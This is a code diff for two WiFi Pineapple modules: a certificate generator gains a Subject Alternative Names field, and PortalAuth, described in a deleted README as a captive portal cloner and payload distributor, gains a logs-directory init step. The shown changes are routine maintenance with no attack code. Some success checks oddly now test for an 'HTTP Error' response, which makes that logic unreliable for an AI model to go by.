@ -130,6 +131,9 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
if ($scope.certDaysValid != ''){ if ($scope.certDaysValid != ''){
params['days'] = $scope.certDaysValid; params['days'] = $scope.certDaysValid;
} }
if ($scope.certSANs != '') {
params['sans'] = $scope.certSANs;
}
if ($scope.certEncryptKeysBool === true) { if ($scope.certEncryptKeysBool === true) {
params['encrypt'] = ""; params['encrypt'] = "";
params['algo'] = $scope.certEncryptAlgo; params['algo'] = $scope.certEncryptAlgo;
@ -168,6 +172,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
$scope.certDaysValid = "365"; $scope.certDaysValid = "365";
$scope.certBitSize = "2048"; $scope.certBitSize = "2048";
$scope.certSigAlgo = "sha256"; $scope.certSigAlgo = "sha256";
$scope.certSANs = "";
$scope.certKeyName = ""; $scope.certKeyName = "";
$scope.certInfoCountry = ""; $scope.certInfoCountry = "";
$scope.certInfoState = ""; $scope.certInfoState = "";
@ -251,7 +256,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
params: {cert,type} params: {cert,type}
},function(response) { },function(response) {
$scope.showCertThrobber = false; $scope.showCertThrobber = false;
if (response.success === true) { if (response.error === "HTTP Error") {
// Redirect if key type is TLS/SSL // Redirect if key type is TLS/SSL
if (type == "TLS/SSL") { if (type == "TLS/SSL") {
$scope.redirect("https"); $scope.redirect("https");
@ -297,7 +302,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
$scope.showRemoveSSLButton = true; $scope.showRemoveSSLButton = true;
$scope.refresh(); $scope.refresh();
if (response.success === true) { if (response.error === "HTTP Error") {
$scope.redirect("http"); $scope.redirect("http");
} else { } else {
} }
@ -399,7 +404,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
$http.post("/modules/Papers/api/module.php", fd, { $http.post("/modules/Papers/api/module.php", fd, {
transformRequest: angular.identity, transformRequest: angular.identity,
headers: {'Content-Type': undefined} headers: {'Content-Type': undefined}
}).success(function(response) { }).then(function(response) {
for (var key in response) { for (var key in response) {
if (response.hasOwnProperty(key)) { if (response.hasOwnProperty(key)) {
if (response.key == "Failed") { if (response.key == "Failed") {
@ -413,7 +418,23 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct
}); });
}); });
$scope.init = (function(){
$api.request({
module: 'Papers',
action: 'init'
},function(response){
if (response.success == false) {
if (response.message != '') {
$scope.getLogs();
} else {
alert(response.message);
}
}
});
});
// Init // Init
$scope.init();
$scope.checkDepends(); $scope.checkDepends();
$scope.refresh(); $scope.refresh();
}]) }])

View File

@ -209,43 +209,50 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
</div> </div>
</div> </div>
<hr ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'" /> <hr ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'" />
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">Subject Alternative Names</label>
<div class="col-md-6">
<input type="text" class="form-control" ng-model="certSANs" placeholder="*.companyA.com, site1.companyB.com">
</div>
</div>
<hr ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'" />
<div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<div class="col-md-8"> <div class="col-md-8">
<label>Modify Certificate Info <input type="checkbox" ng-model="modifyCertInfo"></label> <label>Modify Certificate Info <input type="checkbox" ng-model="modifyCertInfo"></label>
</div> </div>
</div> </div>
<div class="panel-body" ng-show="modifyCertInfo" ng-hide="!modifyCertInfo"> <div class="panel-body" ng-show="modifyCertInfo" ng-hide="!modifyCertInfo">
<div class="form-group"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">Country</label> <label class="col-md-2 control-label">Country</label>
<div class="col-md-6"> <div class="col-md-6">
<input type="text" class="form-control" ng-model="certInfoCountry"> <input type="text" class="form-control" ng-model="certInfoCountry">
</div> </div>
</div> </div>
<div class="form-group"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">State/Province</label> <label class="col-md-2 control-label">State/Province</label>
<div class="col-md-6"> <div class="col-md-6">
<input type="text" class="form-control" ng-model="certInfoState"> <input type="text" class="form-control" ng-model="certInfoState">
</div> </div>
</div> </div>
<div class="form-group"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">Locality</label> <label class="col-md-2 control-label">Locality</label>
<div class="col-md-6"> <div class="col-md-6">
<input type="text" class="form-control" ng-model="certInfoLocality"> <input type="text" class="form-control" ng-model="certInfoLocality">
</div> </div>
</div> </div>
<div class="form-group"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">Organization</label> <label class="col-md-2 control-label">Organization</label>
<div class="col-md-6"> <div class="col-md-6">
<input type="text" class="form-control" ng-model="certInfoOrganization"> <input type="text" class="form-control" ng-model="certInfoOrganization">
</div> </div>
</div> </div>
<div class="form-group"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">Section</label> <label class="col-md-2 control-label">Section</label>
<div class="col-md-6"> <div class="col-md-6">
<input type="text" class="form-control" ng-model="certInfoSection"> <input type="text" class="form-control" ng-model="certInfoSection">
</div> </div>
</div> </div>
<div class="form-group"> <div class="form-group" ng-show="certKeyType=='tls_ssl'" ng-hide="certKeyType=='ssh'">
<label class="col-md-2 control-label">Common Name</label> <label class="col-md-2 control-label">Common Name</label>
<div class="col-md-6"> <div class="col-md-6">
<input type="text" class="form-control" ng-model="certInfoCN"> <input type="text" class="form-control" ng-model="certInfoCN">

View File

@ -6,5 +6,5 @@
"tetra" "tetra"
], ],
"title": "Papers", "title": "Papers",
"version": "1.4" "version": "1.5"
} }

View File

@ -1,2 +0,0 @@
# PortalAuth
Captive portal cloner and payload distributor for the WiFi Pineapple NANO and TETRA

View File

@ -94,6 +94,9 @@ class PortalAuth extends Module
{ {
public function route() { public function route() {
switch($this->request->action) { switch($this->request->action) {
case 'init':
$this->init();
break;
case 'depends': case 'depends':
$this->depends($this->request->params); $this->depends($this->request->params);
break; break;
@ -224,6 +227,19 @@ class PortalAuth extends Module
} }
} }
/* ============================ */
/* INIT FUNCTIONS */
/* ============================ */
private function init() {
if (!file_exists(__LOGS__)) {
if (!mkdir(__LOGS__, 0755, true)) {
$this->respond(false, "Failed to create logs directory");
return false;
}
}
}
//============================// //============================//
// DEPENDENCY FUNCTIONS // // DEPENDENCY FUNCTIONS //
//============================// //============================//

View File

@ -640,7 +640,7 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval
$http.post("/modules/PortalAuth/api/module.php", fd, { $http.post("/modules/PortalAuth/api/module.php", fd, {
transformRequest: angular.identity, transformRequest: angular.identity,
headers: {'Content-Type': undefined} headers: {'Content-Type': undefined}
}).success(function(response) { }).then(function(response) {
for (var key in response) { for (var key in response) {
if (response.hasOwnProperty(key)) { if (response.hasOwnProperty(key)) {
if (response.key == "Failed") { if (response.key == "Failed") {
@ -717,7 +717,24 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval
$scope.stop = undefined; $scope.stop = undefined;
}); });
// Init
$scope.init = (function(){
$api.request({
module: 'PortalAuth',
action: 'init'
},function(response){
if (response.success == false) {
if (response.message != '') {
$scope.getLogs();
} else {
alert(response.message);
}
}
});
});
// Init functions // Init functions
$scope.init();
$scope.depends("-check"); $scope.depends("-check");
$scope.isOnline(); $scope.isOnline();
$scope.checkTestServerConfig(); $scope.checkTestServerConfig();

View File

@ -6,5 +6,5 @@
"tetra" "tetra"
], ],
"title": "Portal Auth", "title": "Portal Auth",
"version": "1.4" "version": "1.5"
} }